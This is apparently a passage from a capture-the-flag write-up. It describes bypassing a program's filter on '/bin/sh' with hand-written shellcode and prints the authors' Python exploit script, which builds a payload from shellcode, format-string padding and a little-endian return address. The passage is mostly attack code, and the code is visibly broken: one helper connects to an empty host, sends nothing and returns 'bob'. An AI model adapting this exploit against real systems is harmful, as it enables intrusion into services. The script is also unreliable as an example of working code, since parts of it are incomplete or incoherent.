The last thing to try to bypass is the protections within the program against having any string like /bin/sh inside the payload we send. msfvenom was producing some pretty terrible shellcode, so we just wrote our own that did some math to eventually get the stack to have /bin/sh in it after the program checked our payload.

Our winning python script,, is shown below.
import socket, binascii

def recvUntil(socket,until):
 string = ""
 while not until in string:
  string += socket.recv(1)
 print string
 return string

def dofmt(string, returnStdout=True):
 s = socket.socket()
 s.connect(('', 23456))

 recvUntil(s,"Saying: ")
 string = string.replace("$","\$")
 string = string.replace('"','\\"')

 return 'bob'

def endian(s):
 if len(s) < 8:
  s = s.zfill(8)
 return s[6:8]+s[4:6]+s[2:4]+s[0:2]

shellcode = open('payload').read()

win = shellcode
win += '%8c'*(65-(len(shellcode)/8))+'aa'
win += binascii.unhexlify(endian('0804B120'))
print win

  -- suntzu_II